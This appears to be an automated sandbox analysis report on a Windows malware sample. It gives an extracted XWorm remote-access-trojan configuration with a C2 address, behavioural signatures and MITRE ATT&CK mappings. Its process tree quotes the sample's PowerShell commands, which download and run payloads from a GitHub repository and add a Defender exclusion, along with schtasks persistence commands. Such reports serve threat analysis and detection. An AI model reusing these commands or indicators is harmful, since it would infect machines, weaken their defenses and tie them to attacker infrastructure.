Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
05/04/2026, 06:38
General
- Target 2026-04-05_61530fcb63bb8b25aaff4548f2b8b0c4_cobalt-strike_cryptbot_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 15.0MB
- Sample260405-hej92sa15r
- SHA256 84773f47d66d9bd625115933b800d5e1beefa3f4147f5a3f29e476e2bda0af87
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/NexoraAPI/project/raw/refs/heads/main/vy.exe
Extracted
-
xworm
-
XWorm V6.5 by t.me/webkillez
-
95.70.183.89:90
-
LNvTlawIhfKagFBN
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 2 IoCs
- UAC bypass 3 TTPs 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- Detects Windows executables referencing non-Windows User-Agents 2 IoCs
- Detects executables containing URLs to raw contents of a Github gist 2 IoCs
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- System policy modification 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-05_61530fcb63bb8b25aaff4548f2b8b0c4_cobalt-strike_cryptbot_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-05_61530fcb63bb8b25aaff4548f2b8b0c4_cobalt-strike_cryptbot_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\0uhvqsa7.jar"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"2⤵
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/NexoraAPI/project/refs/heads/main/wscript.vbs' -OutFile 'C:\Users\Admin\AppData\Local\Microsoft\wscript.vbs'"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "NetworkUpdates" /tr "'C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe'" /sc onlogon /rl highest /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "NetworkUpdate" /tr "wscript.exe C:\Users\Admin\AppData\Local\Microsoft\wscript.vbs" /sc onlogon /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " Add-MpPreference -ExclusionPath $env:localappdata\Microsoft "3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $url = 'https://github.com/NexoraAPI/project/raw/refs/heads/main/vy.exe'; $destinationPath = Join-Path $env:localappdata 'Microsoft\NetworkService.exe'; Invoke-WebRequest -Uri $url -OutFile $destinationPath; Write-Output 'success.'; "3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe"C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe C:\Windows\system32\PcaSvc.dll,PcaPatchSdbTask1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Event Triggered Execution
1Image File Execution Options Injection
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
NetworkService.exe
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
0uhvqsa7.jar
__PSScriptPolicyTest_3ac5gw2n.yol.ps1
svchost.exe
memory/1556-156-0x000002165DF90000-0x000002165E6CF000-memory.dmp
memory/1556-153-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-31-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-158-0x0000021643FF0000-0x0000021644260000-memory.dmp
memory/1556-106-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-137-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-233-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-19-0x0000021643FF0000-0x0000021644260000-memory.dmp
memory/1556-58-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-73-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-80-0x0000021643200000-0x0000021643201000-memory.dmp
memory/1556-93-0x00000216437E0000-0x00000216437E1000-memory.dmp
memory/1556-101-0x0000021643200000-0x0000021643201000-memory.dmp
memory/2000-143-0x0000000005D20000-0x00000000062D3000-memory.dmp
memory/2000-140-0x0000000007F10000-0x0000000007F2A000-memory.dmp
memory/2000-141-0x0000000007EF0000-0x0000000007EF8000-memory.dmp
memory/2000-139-0x0000000007ED0000-0x0000000007EE4000-memory.dmp
memory/2000-138-0x0000000006840000-0x000000000684E000-memory.dmp
memory/2000-113-0x00000000063C0000-0x0000000006714000-memory.dmp
memory/2000-136-0x0000000006820000-0x0000000006831000-memory.dmp
memory/2000-123-0x0000000007B30000-0x0000000007B62000-memory.dmp
memory/2000-124-0x0000000070030000-0x000000007007C000-memory.dmp
memory/2000-132-0x0000000007B10000-0x0000000007B2E000-memory.dmp
memory/2000-133-0x0000000007BB0000-0x0000000007C53000-memory.dmp
memory/2000-134-0x0000000007D60000-0x0000000007D6A000-memory.dmp
memory/2000-135-0x0000000007F70000-0x0000000008006000-memory.dmp
memory/4004-36-0x00000000052F0000-0x0000000005356000-memory.dmp
memory/4004-30-0x00000000054D0000-0x0000000005AF8000-memory.dmp
memory/4004-51-0x0000000006600000-0x000000000664C000-memory.dmp
memory/4004-110-0x0000000005B00000-0x00000000060B3000-memory.dmp
memory/4004-105-0x0000000006AB0000-0x0000000006ACA000-memory.dmp
memory/4004-104-0x0000000007E40000-0x00000000084BA000-memory.dmp
memory/4004-37-0x0000000005360000-0x00000000053C6000-memory.dmp
memory/4004-29-0x0000000002700000-0x0000000002736000-memory.dmp
memory/4004-45-0x00000000060C0000-0x0000000006414000-memory.dmp
memory/4004-32-0x0000000005150000-0x0000000005172000-memory.dmp
memory/4004-50-0x00000000065D0000-0x00000000065EE000-memory.dmp
memory/4212-165-0x0000000005A00000-0x0000000005FB3000-memory.dmp
memory/4212-22-0x0000000000A80000-0x0000000000A88000-memory.dmp
memory/4212-157-0x0000000005A00000-0x0000000005FB3000-memory.dmp
memory/4328-154-0x0000000007090000-0x00000000070B2000-memory.dmp
memory/4328-161-0x0000000005D30000-0x00000000062E3000-memory.dmp
memory/4328-155-0x0000000008450000-0x00000000089F4000-memory.dmp
memory/4328-151-0x0000000006700000-0x0000000006A54000-memory.dmp
memory/4684-166-0x0000000000EA0000-0x0000000000EAE000-memory.dmp
memory/4684-171-0x0000000002FF0000-0x0000000002FFC000-memory.dmp
memory/4684-172-0x000000001C130000-0x000000001C86F000-memory.dmp
memory/5048-16-0x000001EBB4710000-0x000001EBB4E4F000-memory.dmp